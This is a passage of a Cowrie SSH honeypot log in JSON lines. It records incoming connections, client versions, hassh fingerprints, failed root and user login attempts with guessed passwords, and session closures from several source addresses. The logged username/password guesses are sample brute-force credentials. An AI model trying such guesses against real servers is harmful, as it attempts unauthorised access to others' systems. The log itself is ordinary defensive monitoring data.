cdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:35.302442Z","src_ip":"43.173.125.185","session":"cca09192f3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hosting","message":"login attempt [root/hosting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:35.610889Z","src_ip":"43.173.125.185","session":"cca09192f3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:36.683641Z","src_ip":"43.173.125.185","session":"cca09192f3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":33938,"dst_ip":"159.203.135.109","dst_port":22,"session":"6984f7bb959e","protocol":"ssh","message":"New connection: 103.91.246.101:33938 (159.203.135.109:22) [session: 6984f7bb959e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:41.576253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:41.582612Z","src_ip":"103.91.246.101","session":"6984f7bb959e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:41.821949Z","src_ip":"103.91.246.101","session":"6984f7bb959e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radio7","message":"login attempt [root/radio7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:42.798815Z","src_ip":"103.91.246.101","session":"6984f7bb959e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:44.036697Z","src_ip":"103.91.246.101","session":"6984f7bb959e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":47234,"dst_ip":"159.203.135.109","dst_port":22,"session":"21671eff2fb0","protocol":"ssh","message":"New connection: 171.244.141.86:47234 (159.203.135.109:22) [session: 21671eff2fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:47.816811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:47.822172Z","src_ip":"171.244.141.86","session":"21671eff2fb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:48.072094Z","src_ip":"171.244.141.86","session":"21671eff2fb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser11","message":"login attempt [root/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:49.077217Z","src_ip":"171.244.141.86","session":"21671eff2fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:50.323886Z","src_ip":"171.244.141.86","session":"21671eff2fb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56306,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3e23759355b","protocol":"ssh","message":"New connection: 103.77.242.62:56306 (10.17.0.5:22) [session: d3e23759355b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:51.030077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:51.035116Z","src_ip":"103.77.242.62","session":"d3e23759355b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:51.273417Z","src_ip":"103.77.242.62","session":"d3e23759355b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"igor","message":"login attempt [root/igor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:51.985105Z","src_ip":"103.77.242.62","session":"d3e23759355b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:53.225660Z","src_ip":"103.77.242.62","session":"d3e23759355b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":58212,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb60ab07e3ff","protocol":"ssh","message":"New connection: 170.106.188.200:58212 (159.203.135.109:22) [session: bb60ab07e3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:05.882326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:05.887175Z","src_ip":"170.106.188.200","session":"bb60ab07e3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:05.965879Z","src_ip":"170.106.188.200","session":"bb60ab07e3ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leather","message":"login attempt [root/leather] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:06.271515Z","src_ip":"170.106.188.200","session":"bb60ab07e3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:07.343273Z","src_ip":"170.106.188.200","session":"bb60ab07e3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":50374,"dst_ip":"159.203.135.109","dst_port":22,"session":"f42bdd41d6d1","protocol":"ssh","message":"New connection: 43.173.125.185:50374 (159.203.135.109:22) [session: f42bdd41d6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:11.610463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:11.615739Z","src_ip":"43.173.125.185","session":"f42bdd41d6d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:11.684487Z","src_ip":"43.173.125.185","session":"f42bdd41d6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:11.988420Z","src_ip":"43.173.125.185","session":"f42bdd41d6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:13.060300Z","src_ip":"43.173.125.185","session":"f42bdd41d6d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":50910,"dst_ip":"159.203.135.109","dst_port":22,"session":"673fcde59a7b","protocol":"ssh","message":"New connection: 43.173.125.185:50910 (159.203.135.109:22) [session: 673fcde59a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:48.826838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:48.831669Z","src_ip":"43.173.125.185","session":"673fcde59a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:48.905534Z","src_ip":"43.173.125.185","session":"673fcde59a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bbbb","message":"login attempt [root/bbbb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:49.213588Z","src_ip":"43.173.125.185","session":"673fcde59a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:26:50.285720Z","src_ip":"43.173.125.185","session":"673fcde59a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44284,"dst_ip":"159.203.135.109","dst_port":22,"session":"97d14a6251fc","protocol":"ssh","message":"New connection: 87.251.79.125:44284 (159.203.135.109:22) [session: 97d14a6251fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:03.376839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:03.381588Z","src_ip":"87.251.79.125","session":"97d14a6251fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:03.454807Z","src_ip":"87.251.79.125","session":"97d14a6251fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123450","message":"login attempt [root/123450] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:03.673975Z","src_ip":"87.251.79.125","session":"97d14a6251fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:04.752388Z","src_ip":"87.251.79.125","session":"97d14a6251fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":44404,"dst_ip":"159.203.135.109","dst_port":22,"session":"eacf6d30f3de","protocol":"ssh","message":"New connection: 103.91.246.101:44404 (159.203.135.109:22) [session: eacf6d30f3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:05.046743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:05.055772Z","src_ip":"103.91.246.101","session":"eacf6d30f3de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:05.273105Z","src_ip":"103.91.246.101","session":"eacf6d30f3de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1314520","message":"login attempt [root/1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:06.173879Z","src_ip":"103.91.246.101","session":"eacf6d30f3de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:07.395308Z","src_ip":"103.91.246.101","session":"eacf6d30f3de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":42238,"dst_ip":"159.203.135.109","dst_port":22,"session":"081a8cbf3488","protocol":"ssh","message":"New connection: 171.244.141.86:42238 (159.203.135.109:22) [session: 081a8cbf3488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:10.655092Z"}
